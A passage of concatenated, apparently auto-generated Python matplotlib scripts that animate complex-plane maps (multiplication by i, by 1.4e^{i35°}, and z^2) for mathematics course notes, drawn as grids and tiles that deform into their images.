    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Multiplication by $i$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Section 1.2 plate, p. 4-5 (ch01:450); Example 3.12, p. 20 (ch03-polar.tex:305)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.exp(1j*pi/2*s)*z
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-1.6, 1.6, -1.6, 1.6)
SUB = 'a quarter turn counterclockwise; four of them give $i^4=1$'
TITLE = '$w=e^{i\\pi s/2}z,\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (-1, 1, -1, 1, 4, 4)
HILITE = [14, 9]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Multiplication by $a=1.4\,e^{i35^\circ}$, $f(z)=az$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 1.19 and Remark 1.20, p. 9-10 (ch01:587, 675); plate p. 10-11 (ch01:702); Theorem 3.11, p. 19 (ch03:208)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (1.4*np.exp(1j*np.deg2rad(35))*z)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $1.4e^{i35^\\circ}z$'
TITLE = '$w=(1-s)\\,z+s\\,1.4e^{i35^\\circ}z,\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (0, 1, 0, 1, 6, 6)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Multiplication by $a=1.4\,e^{i35^\circ}$, $f(z)=az$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 1.19 and Remark 1.20, p. 9-10 (ch01:587, 675); plate p. 10-11 (ch01:702); Theorem 3.11, p. 19 (ch03:208)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: 1.4**s*np.exp(1j*np.deg2rad(35)*s)*z
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'rotate by $\\arg a=35^\\circ$ and scale by $|a|=1.4$:\nthe unit square goes to a square'
TITLE = '$w=1.4^{s}e^{i35^\\circ s}z,\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (0, 1, 0, 1, 6, 6)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Multiplication by $a=1.4\,e^{i35^\circ}$, $f(z)=az$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 1.19 and Remark 1.20, p. 9-10 (ch01:587, 675); plate p. 10-11 (ch01:702); Theorem 3.11, p. 19 (ch03:208)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: 1.4**s*np.exp(1j*np.deg2rad(35)*s)*z
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'rotate by $\\arg a=35^\\circ$ and scale by $|a|=1.4$: the unit square goes to a square'
TITLE = '$w=1.4^{s}e^{i35^\\circ s}z,\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (0, 1, 0, 1, 4, 4)
HILITE = [5, 10]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""f(z) = z^2 as a deformation, version 1: every point slides in a straight line from z to z^2,
    w_t = (1 - t) z + t z^2,   0 <= t <= 1.
The grid of the square [-1,1]^2 (blue: lines x = const, red: lines y = const) ends as the image
grid of z^2; the faint grid is where it started. The black dot follows z0 = 0.75 + 0.5i.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
f = lambda z: z**2
C = np.linspace(-1, 1, 9)                                  # the grid lines x = c and y = c
s = np.linspace(-1, 1, 241)
LINES = [(c + 1j * s, "tab:blue") for c in C] + [(s + 1j * c, "tab:red") for c in C]
z0 = 0.75 + 0.5j
w = lambda z, t: (1 - t) * z + t * f(z)

ease = lambda u: 0.5 - 0.5 * np.cos(np.pi * u)
T = [0.0] * 10 + list(ease(np.linspace(0, 1, 45))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 45)))

# fixed limits that hold every stage
pts = np.concatenate([w(z, t) for z, _ in LINES for t in np.linspace(0, 1, 11)])
L = 1.08 * max(np.abs(pts.real).max(), np.abs(pts.imag).max())

fig = plt.figure(figsize=(6, 6.4))
ax = fig.add_axes([0.07, 0.05, 0.88, 0.82])
ax.set_xlim(-L, L); ax.set_ylim(-L, L); ax.set_aspect("equal")
